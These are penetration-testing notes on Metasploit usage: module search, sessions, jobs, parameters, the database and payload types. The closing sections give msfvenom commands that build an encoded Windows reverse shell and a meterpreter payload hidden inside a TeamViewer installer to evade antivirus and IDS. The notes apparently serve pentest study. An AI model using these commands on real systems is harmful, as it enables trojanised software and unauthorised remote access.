CtrlK

Pentest Notes

Metasploit

Searching Exploits

search [name] cve:[year] platform:[os] type:[auxiliary/exploit/post]
All others are optional.

Filtering

grep can be used to filter anything!
grep [payload_to_search] show payloads
grep [payload_to_search] grep [payload_to_search] show payloads

Module Information

• Select the module
info

Sessions

Background a Session

[CTRL] + [Z]
In meterpreter: background
Taken back to the msfconsole prompt (msf6>)

List and Interact with Active Sessions

sessions
sessions -i [number]

Jobs

Cannot terminate session with [CTRL] + [C] if a specific port is needed but an exploit is already running on that port.
If exploit is not run as a job then interrupting the exploit may not free up the port. Restart of msfconsole or killing of session might be required.
Run the exploit as a job
exploit -j

List jobs

jobs -l

Killing a job

jobs -K [index]

Set Parameters

set [parameter] [value]

Permanent:

setg [parameter] [value]

Tip: Run ifconfig command directly to find out local IP.

Parameters

RHOSTS : Remote IP
RPORT : Remote port
PAYLOAD : Payload used with exploit
LHOST : Loca IP or Kali Linux IP address
LPORT : Local port
SESSION : Each connection established to the target contains session ID

Run exploit

exploit -j
-j : So that it runs it as a job and can be terminated cleanly if required.

Encoding Payloads

Famous encoding: Shikata Na Gai
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -b "\x00" -f perl -e x86/shikata_ga_nai

Show available encoders for an exploit

• Select the exploit
show encoders

Analyse payloads

msf-virustotal can be used. API key is required by registering for free on VirusTotal.
msf-virustotal -k [API key] -f [payload_name]
Payload - Generated by msfvenom

Types of Payloads

Singles

Contains the exploit and the entire shellcode. More stable because they contain everything.
Eg: windows/shell_bind_tcp

Stager

Initiates connection to attacker's listener, setting up communication channel. Works with stages payload.
Eg: windows/shell/bind_tcp : bind_tcp is stager

Stages

Components downloaded by stager's modules.
Eg: windows/shell/bind_tcp : shell is stage

Databases

help database

Setting up

• Start PostgreSQL
sudo systemctl start postgresql
• Initiate MSF Database
sudo apt update
sudo msfdb init
• Connect to the Initiated Database
sudo msfdb run
PostgreSQL must be running and msfdb must be initialised

Using database

Workspaces
Similar to folders in a project.
Add:
workspace -a [workspace_name]
Select:
workspace [workspace_name]
Delete:
workspace -d [workspace_name]

Import and Export

db_import -h
db_export -h
.xml files are preferred for this

List hosts

hosts

List services of hosts

services

Storing and listing credentials and loot
creds
loot

Firewall and IDS/IPS Evasion

Evasion Techniques

msfvenom windows/x86/meterpreter_reverse_tcp LHOST=10.10.14.2 LPORT=8080 -k -x ~/Downloads/TeamViewer_Setup.exe -e x86/shikata_ga_nai -a x86 --platform windows -o ~/Desktop/TeamViewer_Setup.exe -i 5
-k : Continues normal execution of the executable
-i : No. of iterations of encoding